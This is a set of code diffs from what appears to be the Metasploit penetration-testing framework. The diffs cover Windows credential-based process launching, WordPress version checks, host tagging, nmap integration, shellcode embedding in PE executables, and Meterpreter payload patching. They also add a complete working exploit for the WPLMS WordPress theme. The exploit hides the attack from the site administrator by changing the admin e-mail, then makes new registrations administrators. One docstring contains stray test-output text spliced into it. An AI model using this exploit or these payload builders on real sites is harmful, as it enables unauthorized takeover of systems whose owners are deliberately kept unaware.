exe_payload = generate_payload_exe
@ -34,4 +40,217 @@ module Msf::Post::Windows::Runas
select(nil, nil, nil, 1) until session_created?
end
end
#
# Create a STARTUP_INFO struct for use with CreateProcessA
#
# This struct will cause the process to be hidden
#
# @return [String] STARTUP_INFO struct
#
def startup_info
[0, # cb
0, # lpReserved
0, # lpDesktop
0, # lpTitle
0, # dwX
0, # dwY
0, # dwXSize
0, # dwYSize
0, # dwXCountChars
0, # dwYCountChars
0, # dwFillAttribute
STARTF_USESHOWWINDOW, # dwFlags
SW_HIDE, # wShowWindow
0, # cbReserved2
0, # lpReserved2
0, # hStdInput
0, # hStdOutput
0 # hStdError
].pack('VVVVVVVVVVVVvvVVVV')
end
#
# Call CreateProcessWithLogonW to start a process with the supplier
# user credentials
#
# @note The caller should clear up the handles returned in
# the PROCESS_INFORMATION @return hash.
#
# @param domain [String] The target user domain
# @param user [String] The target user
# @param password [String] The target user password
# @param application_name [String] The executable to be run, can be
# nil
# @param command_line [String] The command line or process arguments
#
# @return [Hash, nil] The values from the process_information struct
#
def create_process_with_logon(domain, user, password, application_name, command_line)
return unless check_user_format(user, domain)
return unless check_command_length(application_name, command_line, 1024)
vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
domain,
password,
'LOGON_WITH_PROFILE',
application_name,
command_line,
'CREATE_UNICODE_ENVIRONMENT',
nil,
nil,
startup_info,
16)
if create_process['return']
pi = parse_process_information(create_process['lpProcessInformation'])
print_good("Process started successfully, PID: #{pi[:process_id]}")
else
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil?
end
pi
end
#
# Call CreateProcessAsUser to start a process with the supplier
# user credentials
#
# Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
# SE_ASSIGNPRIMARYTOKEN_NAME privileges.
#
# This will normally error with 0xc000142 on later OS's (Vista+?) for
# gui apps but is ok for firing off cmd.exe...
#
# @param domain [String] The target user domain
# @param user [String] The target user
# @param password [String] The target user password
# @param application_name [String] Thn executableived :CloseHandle
# with unexpected arguments
# expected: ("testPhToken")
# got: (n be run, can be
# nil
# @param command_line [String] The command line or process arguments
#
# @return [Hash, nil] The values from the process_information struct
#
def create_process_as_user(domain, user, password, application_name, command_line)
return unless check_user_format(user, domain)
return unless check_command_length(application_name, command_line, 32000)
vprint_status("Executing LogonUserA...")
logon_user = session.railgun.advapi32.LogonUserA(user,
domain,
password,
'LOGON32_LOGON_INTERACTIVE',
'LOGON32_PROVIDER_DEFAULT',
4)
if logon_user['return']
begin
ph_token = logon_user['phToken']
vprint_status("Executing CreateProcessAsUserA...")
create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token,
application_name,
command_line,
nil,
nil,
false,
'CREATE_NEW_CONSOLE',
nil,
nil,
startup_info,
16)
if create_process['return']
begin
pi = parse_process_information(create_process['lpProcessInformation'])
ensure
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
print_good("Process started successfully, PID: #{pi[:process_id]}")
else
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
end
return pi
ensure
session.railgun.kernel32.CloseHandle(ph_token)
end
else
print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
end
nil
end
#
# Parse the PROCESS_INFORMATION struct
#
# @param process_information [String] The PROCESS_INFORMATION value
# from the CreateProcess call
#
# @return [Hash] The values from the process_information struct
#
def parse_process_information(process_information)
fail ArgumentError, 'process_information is nil' if process_information.nil?
fail ArgumentError, 'process_information is empty string' if process_information.empty?
pi = process_information.unpack('VVVV')
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
end
#
# Checks the username and domain is in the correct format
# for the CreateProcess_x WinAPI calls.
#
# @param username [String] The target user
# @param domain [String] The target user domain
#
# @raise [ArgumentError] If the username format is incorrect
#
# @return [True] True if username is in the correct format
#
def check_user_format(username, domain)
fail ArgumentError, 'username is nil' if username.nil?
if domain && username.include?('@')
raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil'
end
true
end
#
# Checks the command_length parameter is the correct length
# for the CreateProcess_x WinAPI calls depending on the presence
# of application_name
#
# @param application_name [String] lpApplicationName
# @param command_line [String] lpCommandLine
# @param max_length [Integer] The max command length of the respective
# CreateProcess function
#
# @raise [ArgumentError] If the command_line is too large
#
# @return [True] True if the command_line is within the correct bounds
#
def check_command_length(application_name, command_line, max_length)
fail ArgumentError, 'max_length is nil' if max_length.nil?
if application_name.nil? && command_line.nil?
raise ArgumentError, 'Both application_name and command_line are nil'
elsif command_line && command_line.length > max_length
raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})"
elsif application_name.nil? && command_line
cl = command_line.split(' ')
if cl[0] && cl[0].length > MAX_PATH
raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})"
end
end
true
end
end

View File

@ -43,22 +43,42 @@ module Msf::HTTP::Wordpress::Version
# Checks a readme for a vulnerable version
#
# @param [String] plugin_name The name of the plugin
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
def check_plugin_version_from_readme(plugin_name, fixed_version = nil, vuln_introduced_version = nil)
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
end
# Checks the style.css file for a vulnerable version
#
# @param [String] theme_name The name of the theme
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_theme_version_from_style(theme_name, fixed_version = nil, vuln_introduced_version = nil)
style_uri = normalize_uri(wordpress_url_themes, theme_name, 'style.css')
res = send_request_cgi(
'uri' => style_uri,
'method' => 'GET'
)
# No style.css file present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
return extract_and_check_version(res.body.to_s, :style, :theme, fixed_version, vuln_introduced_version)
end
# Checks a readme for a vulnerable version
#
# @param [String] theme_name The name of the theme
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
def check_theme_version_from_readme(theme_name, fixed_version = nil, vuln_introduced_version = nil)
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
end
@ -77,7 +97,7 @@ module Msf::HTTP::Wordpress::Version
nil
end
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_version = nil)
case type
when :plugin
folder = 'plugins'
@ -99,36 +119,73 @@ module Msf::HTTP::Wordpress::Version
'uri' => readme_url,
'method' => 'GET'
)
# no Readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
end
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
if res.nil? || res.code != 200
# No readme.txt or Readme.txt present for plugin
return Msf::Exploit::CheckCode::Unknown if type == :plugin
# readme present, but no version number
# Try again using the style.css file
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme
end
version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version)
if version_res == Msf::Exploit::CheckCode::Detected && type == :theme
# If no version could be found in readme.txt for a theme, try style.css
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version)
else
return version_res
end
end
def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil)
case type
when :readme
# Try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = body[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
when :style
# Try to extract version from style.css
# Example line:
# Version: 1.5.2
version = body[/(?:Version):\s*([0-9a-z.-]+)/i, 1]
else
fail("Unknown file type #{type}")
end
# Could not identify version number
return Msf::Exploit::CheckCode::Detected if version.nil?
vprint_status("#{peer} - Found version #{version} of the #{type}")
vprint_status("#{peer} - Found version #{version} of the #{item_type}")
# Version older than fixed version
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
if fixed_version.nil?
if vuln_introduced_version.nil?
# All versions are vulnerable
return Msf::Exploit::CheckCode::Appears
# vuln_introduced_version provided, check if version is newer
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
# Newer or equal to the version it was introduced
return Msf::Exploit::CheckCode::Appears
else
# Not in range, nut vulnerable
return Msf::Exploit::CheckCode::Safe
end
# version newer than fixed version
else
return Msf::Exploit::CheckCode::Safe
# Version older than fixed version
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
if vuln_introduced_version.nil?
# All versions are vulnerable
return Msf::Exploit::CheckCode::Appears
# vuln_introduced_version provided, check if version is newer
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
return Msf::Exploit::CheckCode::Appears
else
# Not in range, nut vulnerable
return Msf::Exploit::CheckCode::Safe
end
# version newer than fixed version
else
return Msf::Exploit::CheckCode::Safe
end
end
end
end

View File

@ -806,7 +806,7 @@ class Core
end
# This is not respecting the Protected access control, but this seems to be the only way
# to rename a job. If you know a more appropriate way, patches accepted.
# to rename a job. If you know a more appropriate way, patches accepted.
framework.jobs[job_id].send(:name=, job_name)
print_status("Job #{job_id} updated")
@ -2973,11 +2973,18 @@ class Core
res << addr
end
when 'LHOST'
rh = self.active_module.datastore["RHOST"]
rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
if rh and not rh.empty?
res << Rex::Socket.source_address(rh)
else
res << Rex::Socket.source_address()
res << Rex::Socket.source_address
# getifaddrs was introduced in 2.1.2
if Socket.respond_to?(:getifaddrs)
ifaddrs = Socket.getifaddrs.find_all { |ifaddr|
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip?
}
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
end
end
else
end

View File

@ -220,6 +220,11 @@ class Db
end
def change_host_info(rws, data)
if rws == [nil]
print_error("In order to change the host info, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
id = framework.db.get_host(:address => ip).id
@ -230,6 +235,11 @@ class Db
end
def change_host_name(rws, data)
if rws == [nil]
print_error("In order to change the host name, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
id = framework.db.get_host(:address => ip).id
@ -240,6 +250,11 @@ class Db
end
def change_host_comment(rws, data)
if rws == [nil]
print_error("In order to change the comment, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
id = framework.db.get_host(:address => ip).id
@ -249,12 +264,59 @@ class Db
end
end
def add_host_tag(rws, tag_name)
if rws == [nil]
print_error("In order to add a tag, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
wspace = framework.db.workspace
host = framework.db.get_host(:workspace => wspace, :address => ip)
if host
possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1)
tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first)
tag.name = tag_name
tag.hosts = [host]
tag.save! if tag.changed?
end
end
end
end
def delete_host_tag(rws, tag_name)
wspace = framework.db.workspace
tag_ids = []
if rws == [nil]
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name)
found_tags.each do |t|
tag_ids << t.id
end
else
rws.each do |rw|
rw.each do |ip|
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name)
found_tags.each do |t|
tag_ids << t.id
end
end
end
end
tag_ids.each do |id|
tag = Mdm::Tag.find_by_id(id)
tag.hosts.delete
tag.destroy
end
end
def cmd_hosts(*args)
return unless active?
::ActiveRecord::Base.connection_pool.with_connection {
onlyup = false
set_rhosts = false
mode = :search
mode = []
delete_count = 0
rhosts = []
@ -263,7 +325,8 @@ class Db
output = nil
default_columns = ::Mdm::Host.column_names.sort
virtual_columns = [ 'svcs', 'vulns', 'workspace' ]
default_columns << 'tags' # Special case
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
@ -271,9 +334,9 @@ class Db
while (arg = args.shift)
case arg
when '-a','--add'
mode = :add
mode << :add
when '-d','--delete'
mode = :delete
mode << :delete
when '-c'
list = args.shift
if(!list)
@ -297,14 +360,17 @@ class Db
when '-S', '--search'
search_term = /#{args.shift}/nmi
when '-i', '--info'
mode = :new_info
mode << :new_info
info_data = args.shift
when '-n', '--name'
mode = :new_name
mode << :new_name
name_data = args.shift
when '-m', '--comment'
mode = :new_comment
mode << :new_comment
comment_data = args.shift
when '-t', '--tag'
mode << :tag
tag_name = args.shift
when '-h','--help'
print_line "Usage: hosts [ options ] [addr1 addr2 ...]"
print_line
@ -320,6 +386,7 @@ class Db
print_line " -i,--info Change the info of a host"
print_line " -n,--name Change the name of a host"
print_line " -m,--comment Change the comment of a host"
print_line " -t,--tag Add or specify a tag to a range of hosts"
print_line
print_line "Available columns: #{default_columns.join(", ")}"
print_line
@ -338,7 +405,9 @@ class Db
col_names = default_columns + virtual_columns
end
if mode == :add
mode << :search if mode.empty?
if mode == [:add]
host_ranges.each do |range|
range.each do |address|
host = framework.db.find_or_create_host(:host => address)
@ -358,23 +427,41 @@ class Db
# Sentinal value meaning all
host_ranges.push(nil) if host_ranges.empty?
case mode
when :new_info
case
when mode == [:new_info]
change_host_info(host_ranges, info_data)
return
when :new_name
when mode == [:new_name]
change_host_name(host_ranges, name_data)
return
when :new_comment
when mode == [:new_comment]
change_host_comment(host_ranges, comment_data)
return
when mode == [:tag]
begin
add_host_tag(host_ranges, tag_name)
rescue ::Exception => e
if e.message.include?('Validation failed')
print_error(e.message)
else
raise e
end
end
return
when mode.include?(:tag) && mode.include?(:delete)
delete_host_tag(host_ranges, tag_name)
return
end
each_host_range_chunk(host_ranges) do |host_search|
framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host|
if search_term
next unless host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) }
next unless (
host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } ||
!Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty?
)
end
columns = col_names.map do |n|
# Deal with the special cases
if virtual_columns.include?(n)
@ -382,6 +469,11 @@ class Db
when "svcs"; host.services.length
when "vulns"; host.vulns.length
when "workspace"; host.workspace.name
when "tags"
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC")
tag_names = []
found_tags.each { |t| tag_names << t.name }
found_tags * ", "
end
# Otherwise, it's just an attribute
else
@ -394,7 +486,7 @@ class Db
addr = (host.scope ? host.address + '%' + host.scope : host.address )
rhosts << addr
end
if mode == :delete
if mode == [:delete]
host.destroy
delete_count += 1
end
@ -1647,11 +1739,18 @@ class Db
print_status("Usage: db_nmap [nmap options]")
return
end
save = false
if args.include?("save")
save = active?
args.delete("save")
arguments = []
while (arg = args.shift)
case arg
when 'save'
save = active?
when '--help', '-h'
cmd_db_nmap_help
return
else
arguments << arg
end
end
nmap =
@ -1674,15 +1773,15 @@ class Db
# Custom function needed because cygpath breaks on 8.3 dirs
tout = Rex::Compat.cygwin_to_win32(fd.path)
fout = Rex::Compat.cygwin_to_win32(fo.path)
args.push('-oX', tout)
args.push('-oN', fout)
arguments.push('-oX', tout)
arguments.push('-oN', fout)
else
args.push('-oX', fd.path)
args.push('-oN', fo.path)
arguments.push('-oX', fd.path)
arguments.push('-oN', fo.path)
end
begin
nmap_pipe = ::Open3::popen3([nmap, "nmap"], *args)
nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments)
temp_nmap_threads = []
temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1|
np_1.each_line do |nmap_out|
@ -1715,6 +1814,45 @@ class Db
}
end
def cmd_db_nmap_help
nmap =
Rex::FileUtils.find_full_path('nmap') ||
Rex::FileUtils.find_full_path('nmap.exe')
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
stdout.each_line do |out_line|
next if out_line.strip.empty?
print_status(out_line.strip)
end
stderr.each_line do |err_line|
next if err_line.strip.empty?
print_error(err_line.strip)
end
end
def cmd_db_nmap_tabs(str, words)
nmap =
Rex::FileUtils.find_full_path('nmap') ||
Rex::FileUtils.find_full_path('nmap.exe')
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
tabs = []
stdout.each_line do |out_line|
if out_line.strip.starts_with?('-')
tabs.push(out_line.strip.split(':').first)
end
end
stderr.each_line do |err_line|
next if err_line.strip.empty?
print_error(err_line.strip)
end
tabs
end
#
# Store some locally-generated data as a file, similiar to store_loot.
#

View File

@ -18,6 +18,7 @@ require 'rex/zip'
require 'metasm'
require 'digest/sha1'
require 'msf/core/exe/segment_injector'
require 'msf/core/exe/segment_appender'
##
#
@ -205,12 +206,15 @@ require 'msf/core/exe/segment_injector'
end
p_length = payload.length + 256
# If the .text section is too small, append a new section instead
if text.size < p_length
fname = ::File.basename(opts[:template])
msg = "The .text section for '#{fname}' is too small. "
msg << "Minimum is #{p_length.to_s} bytes, your .text section is " +
"#{text.size.to_s} bytes"
raise RuntimeError, msg
appender = Msf::Exe::SegmentAppender.new({
:payload => code,
:template => opts[:template],
:arch => :x86
})
return appender.generate_pe
end
# Store some useful offsets
@ -506,7 +510,8 @@ require 'msf/core/exe/segment_injector'
def self.to_win64pe(framework, code, opts = {})
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x64_windows.exe")
#try to inject code into executable by adding a section without affecting executable behavior
# Try to inject code into executable by adding a section without affecting executable behavior
if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
@ -515,8 +520,20 @@ require 'msf/core/exe/segment_injector'
})
return injector.generate_pe
end
opts[:exe_type] = :exe_sub
exe_sub_method(code,opts)
return exe_sub_method(code,opts)
#
# TODO: 64-bit support is currently failing to stage
#
# Append a new section instead
# appender = Msf::Exe::SegmentAppender.new({
# :payload => code,
# :template => opts[:template],
# :arch => :x64
# })
# return appender.generate_pe
end
# Embeds shellcode within a Windows PE file implementing the Windows

View File

@ -56,6 +56,36 @@ class X509Certificate
parse_pem(data)
end
#
# Parse a certificate in unified PEM format and retrieve
# the SHA1 hash.
#
# @param [String] ssl_cert
# @return [String]
def self.get_cert_hash(ssl_cert)
hcert = parse_pem(ssl_cert)
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate"
end
Rex::Text.sha1_raw(hcert[1].to_der)
end
#
# Parse a file that contains a certificate in unified PEM
# format and retrieve the SHA1 hash.
#
# @param [String] ssl_cert_file
# @return [String]
def self.get_cert_file_hash(ssl_cert_file)
data = ''
::File.open(ssl_cert_file, 'rb') do |fd|
data << fd.read(fd.stat.size)
end
get_cert_hash(data)
end
end
end

View File

@ -11,29 +11,23 @@ module Rex
module Patch
# Replace the transport string
def self.patch_transport! blob, ssl
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
blob[i, str.length] = str
end
def self.patch_transport!(blob, ssl)
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
end
# Replace the URL
def self.patch_url! blob, url
i = blob.index("https://" + ("X" * 256))
if i
str = url
blob[i, str.length] = str
def self.patch_url!(blob, url)
unless patch_string!(blob, "https://#{'X' * 512}", url)
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
patch_string!(blob, "https://#{'X' * 256}", url)
end
end
# Replace the session expiration timeout
def self.patch_expiration! blob, expiration
def self.patch_expiration!(blob, expiration)
i = blob.index([0xb64be661].pack("V"))
if i
@ -44,7 +38,7 @@ module Rex
end
# Replace the session communication timeout
def self.patch_comm_timeout! blob, comm_timeout
def self.patch_comm_timeout!(blob, comm_timeout)
i = blob.index([0xaf79257f].pack("V"))
if i
@ -55,68 +49,67 @@ module Rex
end
# Replace the user agent string with our option
def self.patch_ua! blob, ua
ua = ua[0,255] + "\x00"
i = blob.index("METERPRETER_UA\x00")
if i
blob[i, ua.length] = ua
end
def self.patch_ua!(blob, ua)
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
end
# Activate a custom proxy
def self.patch_proxy! blob, proxyhost, proxyport, proxy_type
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
if i
if proxyhost
if proxyhost.to_s != ""
proxyhost = proxyhost.to_s
proxyport = proxyport.to_s || "8080"
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if proxy_type.to_s == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyinfo << "\x00"
blob[i, proxyinfo.length] = proxyinfo
end
if proxyhost && proxyhost.to_s != ""
proxyhost = proxyhost.to_s
proxyport = proxyport.to_s || "8080"
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if proxy_type.to_s == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyinfo << "\x00"
patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo)
end
end
# Proxy authentification
def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
unless (proxy_username.nil? or proxy_username.empty?) or
(proxy_password.nil? or proxy_password.empty?) or
proxy_type == 'SOCKS'
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
proxy_username = proxy_username << "\x00"
blob[proxy_username_loc, proxy_username.length] = proxy_username
patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}",
proxy_username + "\x00")
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
proxy_password = proxy_password << "\x00"
blob[proxy_password_loc, proxy_password.length] = proxy_password
patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}",
proxy_password + "\x00")
end
end
# Patch options into metsrv for reverse HTTP payloads
def self.patch_passive_service! blob, options
# Patch the ssl cert hash
def self.patch_ssl_check!(blob, ssl_cert_hash)
# SSL cert location is an ASCII string, so no need for
# WCHAR support
if ssl_cert_hash
i = blob.index("METERPRETER_SSL_CERT_HASH\x00")
if i
blob[i, ssl_cert_hash.length] = ssl_cert_hash
end
end
end
patch_transport! blob, options[:ssl]
patch_url! blob, options[:url]
patch_expiration! blob, options[:expiration]
patch_comm_timeout! blob, options[:comm_timeout]
patch_ua! blob, options[:ua]
# Patch options into metsrv for reverse HTTP payloads
def self.patch_passive_service!(blob, options)
patch_transport!(blob, options[:ssl])
patch_url!(blob, options[:url])
patch_expiration!(blob, options[:expiration])
patch_comm_timeout!(blob, options[:comm_timeout])
patch_ua!(blob, options[:ua])
patch_ssl_check!(blob, options[:ssl_cert_hash])
patch_proxy!(blob,
options[:proxy_host],
options[:proxy_port],
@ -130,6 +123,36 @@ module Rex
end
#
# Patch an ASCII value in the given payload. If not found, try WCHAR instead.
#
def self.patch_string!(blob, search, replacement)
result = false
i = blob.index(search)
if i
blob[i, replacement.length] = replacement
result = true
else
i = blob.index(wchar(search))
if i
r = wchar(replacement)
blob[i, r.length] = r
result = true
end
end
result
end
private
#
# Convert the given ASCII string into a WCHAR string (dumb, but works)
#
def self.wchar(str)
str.to_s.unpack("C*").pack("v*")
end
end
end
end

View File

@ -48,7 +48,14 @@ class ClientCore < Extension
request = Packet.create_request('core_enumextcmd')
request.add_tlv(TLV_TYPE_STRING, extension_name)
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
begin
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
rescue
# In the case where orphaned shells call back with OLD copies of the meterpreter
# binaries, we end up with a case where this fails. So here we just return the
# empty list of supported commands.
return []
end
# No response?
if response.nil?

View File

@ -178,7 +178,6 @@ module PacketDispatcher
# Sends a packet and waits for a timeout for the given time interval.
#
def send_request(packet, t = self.response_timeout)
if not t
send_packet(packet)
return nil

View File

@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0'
# Needed for Meterpreter on Windows, soon others.
spec.add_runtime_dependency 'meterpreter_bins', '0.0.16'
spec.add_runtime_dependency 'meterpreter_bins', '0.0.17'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler

View File

@ -29,6 +29,7 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-2673'],
['WPVDB', '7808'],
['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
],

View File

@ -0,0 +1,124 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
'Description' => %q{
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows authenticated users of
any user level to set any system option via a lack of validation in the import_data function
of /includes/func.php.
The module first changes the admin e-mail address to prevent any
notifications being sent to the actual administrator during the attack, re-enables user
registration in case it has been disabled and sets the default role to be administrator.
This will allow for the user to create a new account with admin privileges via the default
registration page found at /wp-login.php?action=register.
},
'Author' =>
[
'Evex', # Vulnerability discovery
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '7785']
],
'DisclosureDate' => 'Feb 09 2015'
))
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
], self.class)
end
def check
check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def php_serialize(value)
# Only strings and numbers are required by this module
case value
when String, Symbol
"s:#{value.bytesize}:\"#{value}\";"
when Fixnum
"i:#{value};"
end
end
def serialize_and_encode(value)
serialized_value = php_serialize(value)
unless serialized_value.nil?
Rex::Text.encode_base64(serialized_value)
end
end
def set_wp_option(name, value, cookie)
encoded_value = serialize_and_encode(value)
if encoded_value.nil?
vprint_error("#{peer} - Failed to serialize #{value}.")
else
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_get' => { 'action' => 'import_data' },
'vars_post' => { 'name' => name, 'code' => encoded_value },
'cookie' => cookie
)
if res.nil?
vprint_error("#{peer} - No response from the target.")
else
vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200
end
return res
end
end
def run
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
print_good("#{peer} - Authenticated with WordPress")
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
if set_wp_option('admin_email', new_email, cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
end
print_status("#{peer} - Enabling user registrations...")
if set_wp_option('users_can_register', 1, cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
end
print_status("#{peer} - Setting the default user role...")
if set_wp_option('default_role', 'administrator', cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
end
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
print_good("#{peer} - Privilege escalation complete")
print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
end
end

View File

@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'Symantec Web Gateway Login Utility',
'Description' => %q{
This module will attempt to authenticate to a Symantec Web Gateway
This module will attempt to authenticate to a Symantec Web Gateway.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE,

View File

@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
'Description' => %q{
This module checks if your Samba target is vulnerable to an uninitialized variable creds.
This module checks if a Samba target is vulnerable to an uninitialized variable creds vulnerability.
},
'Author' =>
[

View File

